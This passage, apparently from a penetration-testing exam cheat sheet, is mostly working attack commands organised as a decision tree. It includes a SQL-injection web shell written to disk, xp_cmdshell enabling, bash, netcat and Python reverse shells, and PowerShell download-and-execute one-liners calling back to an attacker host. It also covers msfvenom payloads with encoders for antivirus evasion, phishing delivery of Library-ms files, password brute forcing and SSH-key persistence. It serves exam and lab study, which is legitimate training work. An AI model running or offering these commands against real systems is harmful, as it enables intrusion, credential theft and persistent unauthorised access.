  • MySQL + UNION + writable web dir -> web shell: ' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
  • MSSQL backend -> stacked query time test (not in the course): '; WAITFOR DELAY '0:0:5'-- //
  • MSSQL stacked queries -> enable xp_cmdshell: '; EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE; EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- //
  • Then run an encoded PowerShell reverse shell: '; EXECUTE xp_cmdshell 'powershell -nop -w hidden -enc <B64>'; -- //
  • Hashes dumped (MD5 in app tables) -> crack and reuse: hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

3.11 CMS and Known Apps

  • WordPress (wp-content in the source) -> plugins with aggressive detection: wpscan --url http://<TARGET> --enumerate p --plugins-detection aggressive -o <TARGET>/wpscan
  • WordPress users for the login brute force: wpscan --url http://<TARGET> --enumerate u
  • Outdated plugin -> search it (course: Duplicator 1.3.26 file read 50420 -> SSH key): searchsploit duplicator
  • wp-config.php DB_PASSWORD -> try it for every user and service: hydra -L usernames.txt -p '<DB_PASS>' ssh://<TARGET>
  • WordPress admin -> upload a plugin zip whose PHP file has a Plugin Name header comment and a web shell: zip shell.zip shell.php
  • App name and version in the footer (qdPM 9.1, CMS Made Simple 2.2.5, Grafana) -> exact version search: searchsploit "<PRODUCT> <VERSION>"
  • Tomcat manager with default creds -> WAR shell (not in the course): msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f war -o shell.war
  • Apache 2.4.49 exactly -> CVE-2021-41773 traversal via cgi-bin (3.5)

3.12 Web Shell to Reverse Shell

  • Which tools exist on the target: curl http://<TARGET>/<SHELL>.php --data-urlencode "cmd=which nc python3 bash"
  • Linux, nc with -e: curl http://<TARGET>/<SHELL>.php --data-urlencode "cmd=nc -nv <LHOST> <LPORT> -e /bin/bash"
  • Linux, bash only: curl http://<TARGET>/<SHELL>.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
  • Windows -> encoded PowerShell (UTF-16LE base64 built with pwsh): curl http://<TARGET>/<SHELL>?cmd=powershell%20-enc%20<B64>
  • Shell never connects back -> egress filtered, use 80 or 443 as LPORT: sudo nc -nvlp 443
  • Web shell never counts for proof -> always upgrade to an interactive shell or SSH
  • Web user has a home with .ssh -> add your key and SSH in: echo "<PUBKEY>" >> /home/<USER>/.ssh/authorized_keys

4. Foothold Decision Tree

4.1 Pick the Route

  • Have a product and version -> public exploit (4.2), fix it if needed (4.3): searchsploit <PRODUCT> <VERSION>
  • Have a login and usernames but no password -> defaults, reuse, then password attacks (4.5): cat creds.txt
  • Have file read only -> SSH keys, configs and source with creds (3.5), not RCE hunting
  • Have code execution (web shell, injection, xp_cmdshell) -> reverse shell (4.6), then stabilise (4.7)
  • No exploitable service but a mailbox or a simulated user hint -> client-side route (4.4)
  • Have creds for SSH, RDP or WinRM -> log in directly; it is the cleanest interactive shell for proof

4.2 Public Exploit Lookup

  • Exact product and version: searchsploit <PRODUCT> <VERSION>
  • Too many hits -> titles only, drop PoCs and DoS: searchsploit -t <PRODUCT> <VERSION> --exclude="(PoC)|/dos/"
  • Zero hits -> drop the version and read the version ranges in the titles: searchsploit <PRODUCT>
  • Read before running (usage section, hard-coded values, auth needed): searchsploit -x <EDB_ID>
  • Copy before editing (package updates overwrite /usr/share/exploitdb): searchsploit -m <EDB_ID>
  • Web search restricted to a trusted site: firefox --search "<PRODUCT> <VERSION> exploit site:exploit-db.com"
  • GitHub PoC for the CVE -> uncurated; read every line before running it
  • NSE scripts that exploit the product: grep Exploits /usr/share/nmap/scripts/*.nse
  • Several candidates -> pick verified, remote, matching version, RCE, the newest variant (v2); skip DoS PoCs when RCE exists
  • Hex blobs or a demand for root on Kali -> decode before running (course 0pen0wn example was rm -rf): python3 -c 'print("<HEX_STRING>")'
  • Exploit printed an error -> verify the side effect anyway, for example curl the web shell path: curl http://<TARGET>/<SHELL_PATH>?cmd=whoami
  • Authenticated exploit -> get creds first (defaults, cewl plus brute force, reuse)

4.3 Fixing Exploits

  • Python 2 syntax (print "...") -> run it with python2 instead of porting: python2 <EXPLOIT>.py
  • Port to Python 3 only when needed -> print(), bytes vs str (.encode()), urllib changes
  • Find every hard-coded value (IP, port, path, creds, LHOST): grep -n -E "http|[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+|port|user|pass" <EXPLOIT>.py
  • HTTPS with a self-signed cert -> verify=False on every requests call, curl -k for checks: grep -n "requests\." <EXPLOIT>.py
  • Base URL path differs from a default install -> use the real path gobuster found
  • IndexError while parsing a token -> print the string before the failing line, adjust the parameter name (course: __c became sk): print "[+] String that is being split: " + location
  • Windows C exploit on Kali -> cross compile with winsock: i686-w64-mingw32-gcc <EXPLOIT>.c -o <EXPLOIT>.exe -lws2_32
  • 64-bit Windows target: x86_64-w64-mingw32-gcc <EXPLOIT>.c -o <EXPLOIT>.exe -lws2_32
  • Run the Windows exploit from Kali: wine <EXPLOIT>.exe
  • Linux exploit -> compile on the target if gcc exists, otherwise on Kali for the same arch and libc: gcc <EXPLOIT>.c -o <EXPLOIT>
  • Opaque shellcode -> regenerate with the exploit's bad chars, arch and EXITFUNC: msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
  • Python exploit -> same payload in Python format with that exploit's bad chars: msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread -f python -b "<BADCHARS>"
  • Buffer length changed -> re-check offset and padding; the return address must sit in a module the target loads (non-ASLR app DLL)
  • Keep the original next to the modified copy -> the report needs the highlighted changes: diff -u <ORIGINAL> <MODIFIED>

4.4 Client-Side Route (simulated user present)

  • Signals: hint in the objectives, mail server with valid mailboxes, a share or upload form "someone reviews" -> simulated users act about every 3 minutes
  • Public documents -> author names, Office version, Windows vs Mac: exiftool -a -u <FILE>.pdf
  • Find documents on the site: gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -x pdf
  • Anonymous WebDAV share on Kali for the library file: wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
  • Build config.Library-ms with the simpleLocation url set to your WebDAV URL, plus the shortcut in the share; shortcut target: powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>:8000/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"
  • Serve powercat from a separate web server (AV may quarantine files on the writable share): python3 -m http.server 8000
  • Deliver by mail as a valid user: sudo swaks --to <VICTIM_EMAIL> --from <VALID_EMAIL> --attach @config.Library-ms --server <MAIL_SERVER> --body @body.txt --header "Subject: <SUBJECT>" --suppress-data -ap
  • Deliver through a share instead: smbclient //<TARGET>/<SHARE> -c 'put config.Library-ms'
  • No callback after a few cycles -> reset config.Library-ms to the original XML (Windows rewrites it after first use) and deliver again

4.5 Password Attacks

  • Build usernames.txt from SMTP VRFY, SNMP, SMB/RPC, /etc/passwd reads, staff pages and the email format
  • Blank, same-as-username and reversed passwords first: hydra -L usernames.txt -e nsr ssh://<TARGET>
  • SSH dictionary: hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s <PORT> ssh://<TARGET>
  • FTP: hydra -L usernames.txt -P passwords.txt ftp://<TARGET>
  • RDP spray with one password: hydra -L usernames.txt -p '<PASS>' rdp://<TARGET>
  • SMB, every user with every password: crackmapexec smb <TARGET> -u usernames.txt -p passwords.txt --continue-on-success
  • Web form -> hydra http-post-form or patator (3.3)
  • Site-specific words for the password list: cewl http://<TARGET>/ -w wordlist.txt
  • Domain accounts -> read the lockout policy before spraying: net accounts
  • Every password found anywhere -> every user on every host and service; write each hit to creds.txt: echo "<USER>:<PASS> <SERVICE>@<TARGET>" >> creds.txt
  • Attack runs long (course: about 3 minutes in labs, intended cracks under 10) -> wrong list, user or vector

4.6 Reverse Shell Menu

  • Listener on a port egress allows (443, 80, 4444): nc -nvlp <LPORT>
  • Linux bash: bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
  • Linux sh only, nc without -e: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f
  • Linux nc with -e: nc -nv <LHOST> <LPORT> -e /bin/bash
  • Linux python3 (not in the course): python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
  • Linux binary: msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o shell.elf
  • Windows PowerShell that can reach Kali: IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e powershell
  • Windows, payload must survive quoting (URL, SQL, WMI) -> encoded one-liner built in pwsh: powershell -nop -w hidden -enc <B64>
  • Windows exe, match 32 or 64-bit: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o reverse.exe
  • Windows nc.exe from /usr/share/windows-resources/binaries/: nc.exe -e cmd.exe <LHOST> <LPORT>
  • IIS upload -> ASPX payload: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f aspx -o shell.aspx
  • Pull a payload onto Windows: iwr -uri http://<LHOST>:8000/<FILE> -Outfile <FILE>
  • Pull a payload onto Linux: wget http://<LHOST>/<FILE> -O /tmp/<FILE>

4.7 Shell Stabilisation

  • Linux: spawn a PTY first, su, sudo and ssh need it: python3 -c 'import pty; pty.spawn("/bin/bash")'
  • No python on the target: script /dev/null -c bash
  • Full TTY -> Ctrl+Z, then on Kali: stty raw -echo; fg
  • Back in the target shell: export TERM=xterm; stty rows <ROWS> columns <COLS>
  • Windows shell -> history and arrow keys via rlwrap on the listener: rlwrap nc -nvlp <LPORT>
  • Creds in hand -> replace the fragile shell with SSH, evil-winrm or RDP
  • Linux user without a key -> add yours for a stable SSH shell: echo "<PUBKEY>" >> ~/.ssh/authorized_keys
  • Before risky commands (kernel exploit, service restart) -> start a second shell as a backup

4.8 Payload Dies on Execution

  • Rule out simple causes first: wrong arch, staged payload caught with nc, LPORT blocked (switch to 443): [Environment]::Is64BitOperatingSystem
  • Defender running?: Get-MpComputerStatus | select AMRunningMode, RealTimeProtectionEnabled, AntivirusEnabled
  • Payload dies on execution -> suspect AV: change format/encoder, in-memory execution; the course used Shellter and msfvenom encoders: msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -e x86/shikata_ga_nai -i 9 -f exe -o shell.exe
  • In memory instead of an exe on disk: powershell -ep bypass -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"
  • Shellter with a Meterpreter payload -> that box becomes the Metasploit machine; pick a plain shell payload elsewhere

5. Where the Rest Lives

The privilege escalation, Active Directory, pivoting and loot checklists are kept as decision tables inside the cheat sheet so there is one copy of every command. Open the linked section, walk its table top to bottom for the current host, and come back here.

  • Linux privilege escalation: Linux Privesc Decision Table. Situational awareness, users and sudo, history and config files, SUID and capabilities, cron and writable files, kernel as last resort. The decision table at the end of the section maps what you see to the path to try.

  • Windows privilege escalation: Windows Privesc Decision Table. whoami /priv and groups first, credential hunting (PowerShell history, config files, kdbx), services (binary, DLL, unquoted path), scheduled tasks, SeImpersonatePrivilege with SigmaPotato, kernel last. Decision table at the end of the section.

  • Password reuse and spraying: Password Attack Decision Table. Every found password goes against every user on every service (crackmapexec, hydra, kerbrute); hashes get cracked with the course's hashcat modes.

  • Active Directory: first moves with the given user: 16.2 Assumed breach: first moves with the given password. The assumed-breach starting sequence: validate the credential with crackmapexec, shares and SYSVOL (GPP cpassword), AS-REP roast and Kerberoast immediately, PowerView and SharpHound from the first host, then the enumeration checks in 16.12.

  • Active Directory: which authentication attack: 17.2 Which attack when. Password spraying three ways, AS-REP roasting, Kerberoasting, silver tickets, DCSync, with the gotchas in 17.10.

  • Active Directory: lateral movement: 18.2 Pick the technique. WMI, WinRM, PsExec, pass the hash, overpass the hash, pass the ticket, DCOM, golden ticket, shadow copies; ranked by what you hold (password, NTLM, ticket, local admin).

  • Pivoting and tunneling: Forwarding Type Matrix. ssh -L / -R / -D, socat, sshuttle, plink, netsh portproxy; chisel and dnscat2 are in section 14 (Which tunnel table). Metasploit routing is not allowed across exam machines.

  • Metasploit: where to spend the one machine: Spending the one Metasploit machine. Decision table plus the msfvenom payload matrix for the plain shells allowed everywhere.

  • Loot after every shell and credential reuse: 21. Quick Reference. The credential type table (password, NTLM hash, Net-NTLMv2, Kerberos ticket, SSH key, KeePass database) says what each one buys you.

  • Report, proof files and submission: 2. Exam Rules That Shape Tool Choice. Proof screenshot rules, exploit code rules, 7z and md5sum submission steps; section 1.2 above has the per-host proof checklist.

  • Before leaving any host: re-run the enumeration in sections 2 and 3 with every new credential, and add every password, hash and key to creds.txt before trying anything clever.